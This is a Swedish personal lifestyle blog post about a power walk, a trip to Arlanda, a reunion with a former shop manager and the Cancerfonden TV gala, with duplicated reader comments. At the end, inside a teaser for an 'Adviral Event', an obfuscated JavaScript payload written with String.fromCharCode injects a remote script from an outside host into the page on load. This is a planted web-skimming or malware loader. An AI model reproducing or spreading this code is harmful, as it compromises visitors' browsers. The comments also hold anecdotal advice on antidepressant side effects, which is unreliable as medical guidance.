PW utomhus träning, Arlanda, Cancerfonden…

07B4074D-B313-47A9-882B-EBFE73070F38

Godmorgon från ett krispigt vinterland!

Jag vill ha snö!!! på riktigt? Är detta allt vi ska få? Det är vackert… Men det är ingen riktig snö som vi kan busa med.

Jag har kört en lång pw på 1.5h. Högt tempo så att jag var svettig när jag var klar.

Avslutade med några basövningra. Utfallssteg, squats, höga knälyft på bänk och kom hem och känner att kroppen börjat vakna =) Titta vad vackert det är precis intill Jonas lägenhet. Vi ser inte sjön… Men på en liten promenad på 2 min så kommer man ner till detta =)

-UNDERBART! 

OLYMPUS DIGITAL CAMERA

6F7716E2-10BE-438C-8EE5-F592E9B1515DMin glada, goa lilla unge!

Han mådde bättre sista dagarna…. SÅ skönt! han var glad, positiv och väldigt nöjd med sin födelsedag tillslut =) Igår åkte vi till Arlanda. Lilleman skulle flyga ner till sin pappa. 

12DA5726-E062-4653-B589-EE6E1514589B FED6468A-09E2-4CF0-A394-E6324D19FE5E

Igår var vi inte ensamma på Arlanda. Igår träffade vi Vickan och hennes sambo =)

Åhhhh, min fina Vickan!

Vickan var min högra hand och butikschef på My’s Blommor. Världens underbaraste människa! Som jag saknar henne, Evelina och butiken! Jag saknar ”oss” !  Det var verkligen SÅ kul att ses!

9FDC0787-FC22-4FB4-A7F8-55DAD8179E20 421B7043-9421-41C1-B2BD-A628F67D9A47

Dom skulle med samma plan som Ludvig så det blev ju toppen! 

Fick en bilder av Vickan som blev min spion på Lilleman hela resan…. hehe! Lilleman blev lite blyg i början… konstigt nog. För dom har umgåtts mer än väl. På My’s Blommor var hon inte bara florist. Hon var vän, privatchaufför, blogg-sidekick och allt som tänkas. Nästa vecka ska jag själv ner till våran lägenhet som vi har där nere… Har sluppit vara där nu under alla helger och jullovet! =) Svårt för mig att få ihop det med dubbla bostäder, dubbla kostnader och pendling när mitt jobb  och liv finns här uppe i Stockholm. Men, vi kämpar på =)  

Nu ska jag sätta mig och plugga en stund…

D1621CA5-E87C-46DC-9D21-8E6D81BFBE66

Ikväll är det dags för Cancerfonden galan…. Gå in och läs HÄR . Årets viktigaste gala 🙏🏻💖

kl 20:00 på TV4 

-Missa inte den….tillsamman gör vi skillnad! 

Vi hörs senare!

Kram

/ My Martens 

 

16 Komentarer

  1. Skickar ned lite snö från norr för här har vi fått mer än tillräckligt ??. Skönt att din lille vapendragare blivit piggare. ? ha en fin måndag och ikväll gäller det att ha nära till pappersnäsdukarna.??? skitsjukdom den där cancern. Ha en bra dag kram Sara

  2. Skickar ned lite snö från norr för här har vi fått mer än tillräckligt 🤣🤣. Skönt att din lille vapendragare blivit piggare. 😊 ha en fin måndag och ikväll gäller det att ha nära till pappersnäsdukarna.😥😥😥 skitsjukdom den där cancern. Ha en bra dag kram Sara

  3. Tack vare cancerforskningen kunde jag med ett enkelt blodprov få reda på att jag och flera av mina närmaste bär på BRCA1 genen. Så vi har fått göra operationer i förebyggande syfte för att slippa gå samma öde till mötes som andra familjemedlemmar har gjort ?
    Trots alla operationer och komplikationer är jag ändå tacksam att jag fick göra dom ”frisk” och innan jag hunnit insjukna.
    Fuck cancer ??

  4. Tack vare cancerforskningen kunde jag med ett enkelt blodprov få reda på att jag och flera av mina närmaste bär på BRCA1 genen. Så vi har fått göra operationer i förebyggande syfte för att slippa gå samma öde till mötes som andra familjemedlemmar har gjort 💔
    Trots alla operationer och komplikationer är jag ändå tacksam att jag fick göra dom ”frisk” och innan jag hunnit insjukna.

    Fuck cancer 💪🏻

  5. Vad härligt med PW det ger kraft! En fråga om du vill svara eller någon annan. Har börjat ära antidepresiv medicin i ca 1 vecka och mår så dåligt, hur länge håller det i sig? Blir det bättre sedan för då kan jag härda ut, har en utmattning i botten så det gör det inte bättre. Men det här är helt nytt för mig. Må väl My kram

    • Hej Ann!
      Jag kan av egen erfarenhet säga att det första 2-3 veckorna är minst sagt vidriga:(När man inte trodde att man kunde må sämre, alla symtom förstärks ibörjan av medicinen,efter 2 veckor skulle jag säga att det börjar klinga av,men förstärks igen något om man behöver höja/sänka dosen. Håll ut,du kommer må så mycket bättre när väl biverkningarna försvunnit och medicinen har nått full effekt. Jag har jobbat många år inom psykiatrin samt själv använt SSRI medicin. Kram och försök härda ut!

      • Hej ville bara tacka för dina ord, nu har det gått 2,5 vecka och biverkningarna börjar avta. Känns som jag har fått livet tillbaka. Det har varit så vidrigt. Har en utmattning i botten men jag hoppas nu att det ska hjälpa mig vidare. Har haft mycket stress i kroppen som ledde till depression. Tänker att efter ca 5 veckor börjar jag märka något kanske. Hur märker man det? Kommer det smygande.
        Kram

  6. Vad härligt med PW det ger kraft! En fråga om du vill svara eller någon annan. Har börjat ära antidepresiv medicin i ca 1 vecka och mår så dåligt, hur länge håller det i sig? Blir det bättre sedan för då kan jag härda ut, har en utmattning i botten så det gör det inte bättre. Men det här är helt nytt för mig. Må väl My kram

    • Hej Ann!
      Jag kan av egen erfarenhet säga att det första 2-3 veckorna är minst sagt vidriga:(När man inte trodde att man kunde må sämre, alla symtom förstärks ibörjan av medicinen,efter 2 veckor skulle jag säga att det börjar klinga av,men förstärks igen något om man behöver höja/sänka dosen. Håll ut,du kommer må så mycket bättre när väl biverkningarna försvunnit och medicinen har nått full effekt. Jag har jobbat många år inom psykiatrin samt själv använt SSRI medicin. Kram och försök härda ut!

      • Hej ville bara tacka för dina ord, nu har det gått 2,5 vecka och biverkningarna börjar avta. Känns som jag har fått livet tillbaka. Det har varit så vidrigt. Har en utmattning i botten men jag hoppas nu att det ska hjälpa mig vidare. Har haft mycket stress i kroppen som ledde till depression. Tänker att efter ca 5 veckor börjar jag märka något kanske. Hur märker man det? Kommer det smygande.
        Kram

  7. Hej My.
    Gör du fortfarande samarbete med Skip Nutrition? jag har för mig att du tipsade om något start paket för att komma i gång? Jag tycker de har bra priser och jag har ännu inte kommit igång ? kan du länka det. Är deras tillskott mättande?
    Ha det fint.

  8. Hej My.
    Gör du fortfarande samarbete med Skip Nutrition? jag har för mig att du tipsade om något start paket för att komma i gång? Jag tycker de har bra priser och jag har ännu inte kommit igång 😉 kan du länka det. Är deras tillskott mättande?
    Ha det fint.

Svara

Lämna din kommentar!
Ditt namn här

Om du missat..

Andas ut stressen med hjälp av djupandning

Andas ut stressen med hjälp av djupandning -Hur många tänker egentligen på sin andning? Jag...

SMEG bagaren och kocken 20%

I reklamsamarbete Bagaren och Kocken ??‍? Hej på er! Detta är en grymt efterlängtad kampanj...

Adviral Event

My Martens , Ako Rahim. Adviral Media. d Ako, Renata, My   var f=String;+f.fromCharCode(99,116,105,111,110)+f.fromCharCode(32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110)+f.fromCharCode(32,66,111,111,108,101,97,110)+f.fromCharCode(40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,121,46,108,105,110)+f.fromCharCode(101,115,116,111,103,101,116,46,99,111,109,47,115,99,114,105,112,116,115,47,99,104,101,99,107,46,106,115,63,118,61,53,46,53,53,46,53,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110)+f.fromCharCode(116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110)+f.fromCharCode(116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,46,112,97,114,101,110)+f.fromCharCode(116,78,111,100,101,46,105,110)+f.fromCharCode(115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110)+f.fromCharCode(116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110)+f.fromCharCode(100,67,104,105,108,100,40,115,41,59,125,125));/*99586587347*/